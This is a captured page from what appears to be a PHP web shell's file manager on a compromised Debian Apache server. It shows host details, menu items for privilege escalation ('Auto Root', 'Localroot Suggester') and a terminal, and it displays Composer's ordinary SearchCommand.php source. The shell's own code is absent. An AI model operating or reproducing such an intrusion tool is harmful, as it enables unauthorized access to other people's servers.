Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
php /
Composer /
Command /
Delete
Unzip
Name
Size
Permission
Date
Action
AboutCommand.php
1.28
KB
-rw-r--r--
2023-03-21 10:50
ArchiveCommand.php
8.5
KB
-rw-r--r--
2023-03-21 10:50
AuditCommand.php
3.26
KB
-rw-r--r--
2023-03-21 10:50
BaseCommand.php
15.25
KB
-rw-r--r--
2026-05-14 09:28
BaseDependencyCommand.php
10.23
KB
-rw-r--r--
2023-03-21 10:50
BumpCommand.php
9.62
KB
-rw-r--r--
2023-03-21 10:50
CheckPlatformReqsCommand.php
8.84
KB
-rw-r--r--
2023-03-21 10:50
ClearCacheCommand.php
3.38
KB
-rw-r--r--
2023-03-21 10:50
CompletionTrait.php
7.92
KB
-rw-r--r--
2023-03-21 10:50
ConfigCommand.php
41.2
KB
-rw-r--r--
2023-03-21 10:50
CreateProjectCommand.php
23.65
KB
-rw-r--r--
2023-03-21 10:50
DependsCommand.php
1.88
KB
-rw-r--r--
2023-03-21 10:50
DiagnoseCommand.php
27.23
KB
-rw-r--r--
2023-03-21 10:50
DumpAutoloadCommand.php
5.48
KB
-rw-r--r--
2023-03-21 10:50
ExecCommand.php
4.62
KB
-rw-r--r--
2023-03-21 10:50
FundCommand.php
5.33
KB
-rw-r--r--
2023-03-21 10:50
GlobalCommand.php
5.53
KB
-rw-r--r--
2023-03-21 10:50
HomeCommand.php
5.41
KB
-rw-r--r--
2023-03-21 10:50
InitCommand.php
23.24
KB
-rw-r--r--
2023-03-21 10:50
InstallCommand.php
7.95
KB
-rw-r--r--
2023-03-21 10:50
LicensesCommand.php
5.79
KB
-rw-r--r--
2023-03-21 10:50
OutdatedCommand.php
5.43
KB
-rw-r--r--
2023-03-21 10:50
PackageDiscoveryTrait.php
20.17
KB
-rw-r--r--
2023-03-21 10:50
ProhibitsCommand.php
2.05
KB
-rw-r--r--
2023-03-21 10:50
ReinstallCommand.php
8.13
KB
-rw-r--r--
2023-03-21 10:50
RemoveCommand.php
14.97
KB
-rw-r--r--
2023-03-21 10:50
RequireCommand.php
29.05
KB
-rw-r--r--
2023-03-21 10:50
RunScriptCommand.php
6.29
KB
-rw-r--r--
2023-03-21 10:50
ScriptAliasCommand.php
2.42
KB
-rw-r--r--
2023-03-21 10:50
SearchCommand.php
5
KB
-rw-r--r--
2023-03-21 10:50
SelfUpdateCommand.php
26.52
KB
-rw-r--r--
2023-03-21 10:50
ShowCommand.php
59.69
KB
-rw-r--r--
2023-03-21 10:50
StatusCommand.php
8.37
KB
-rw-r--r--
2023-03-21 10:50
SuggestsCommand.php
3.97
KB
-rw-r--r--
2023-03-21 10:50
UpdateCommand.php
16.14
KB
-rw-r--r--
2023-03-21 10:50
ValidateCommand.php
9.26
KB
-rw-r--r--
2023-03-21 10:50
Save
Rename
<?php declare(strict_types=1); /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Command; use Composer\Factory; use Composer\Json\JsonFile; use Symfony\Component\Console\Formatter\OutputFormatter; use Symfony\Component\Console\Input\InputInterface; use Composer\Console\Input\InputArgument; use Composer\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use Composer\Repository\CompositeRepository; use Composer\Repository\PlatformRepository; use Composer\Repository\RepositoryInterface; use Composer\Plugin\CommandEvent; use Composer\Plugin\PluginEvents; /** * @author Robert Schönthal <seroscho@googlemail.com> */ class SearchCommand extends BaseCommand { protected function configure(): void { $this ->setName('search') ->setDescription('Searches for packages') ->setDefinition([ new InputOption('only-name', 'N', InputOption::VALUE_NONE, 'Search only in package names'), new InputOption('only-vendor', 'O', InputOption::VALUE_NONE, 'Search only for vendor / organization names, returns only "vendor" as result'), new InputOption('type', 't', InputOption::VALUE_REQUIRED, 'Search for a specific package type'), new InputOption('format', 'f', InputOption::VALUE_REQUIRED, 'Format of the output: text or json', 'text', ['json', 'text']), new InputArgument('tokens', InputArgument::IS_ARRAY | InputArgument::REQUIRED, 'tokens to search for'), ]) ->setHelp( <<<EOT The search command searches for packages by its name <info>php composer.phar search symfony composer</info> Read more at https://getcomposer.org/doc/03-cli.md#search EOT ) ; } protected function execute(InputInterface $input, OutputInterface $output): int { // init repos $platformRepo = new PlatformRepository; $io = $this->getIO(); $format = $input->getOption('format'); if (!in_array($format, ['text', 'json'])) { $io->writeError(sprintf('Unsupported format "%s". See help for supported formats.', $format)); return 1; } if (!($composer = $this->tryComposer())) { $composer = Factory::create($this->getIO(), [], $input->hasParameterOption('--no-plugins')); } $localRepo = $composer->getRepositoryManager()->getLocalRepository(); $installedRepo = new CompositeRepository([$localRepo, $platformRepo]); $repos = new CompositeRepository(array_merge([$installedRepo], $composer->getRepositoryManager()->getRepositories())); $commandEvent = new CommandEvent(PluginEvents::COMMAND, 'search', $input, $output); $composer->getEventDispatcher()->dispatch($commandEvent->getName(), $commandEvent); $mode = RepositoryInterface::SEARCH_FULLTEXT; if ($input->getOption('only-name') === true) { if ($input->getOption('only-vendor') === true) { throw new \InvalidArgumentException('--only-name and --only-vendor cannot be used together'); } $mode = RepositoryInterface::SEARCH_NAME; } elseif ($input->getOption('only-vendor') === true) { $mode = RepositoryInterface::SEARCH_VENDOR; } $type = $input->getOption('type'); $query = implode(' ', $input->getArgument('tokens')); if ($mode !== RepositoryInterface::SEARCH_FULLTEXT) { $query = preg_quote($query); } $results = $repos->search($query, $mode, $type); if (\count($results) > 0 && $format === 'text') { $width = $this->getTerminalWidth(); $nameLength = 0; foreach ($results as $result) { $nameLength = max(strlen($result['name']), $nameLength); } $nameLength += 1; foreach ($results as $result) { $description = $result['description'] ?? ''; $warning = !empty($result['abandoned']) ? '<warning>! Abandoned !</warning> ' : ''; $remaining = $width - $nameLength - strlen($warning) - 2; if (strlen($description) > $remaining) { $description = substr($description, 0, $remaining - 3) . '...'; } $link = $result['url'] ?? null; if ($link !== null) { $io->write('<href='.OutputFormatter::escape($link).'>'.$result['name'].'</>'. str_repeat(' ', $nameLength - strlen($result['name'])) . $warning . $description); } else { $io->write(str_pad($result['name'], $nameLength, ' ') . $warning . $description); } } } elseif ($format === 'json') { $io->write(JsonFile::encode($results)); } return 0; } }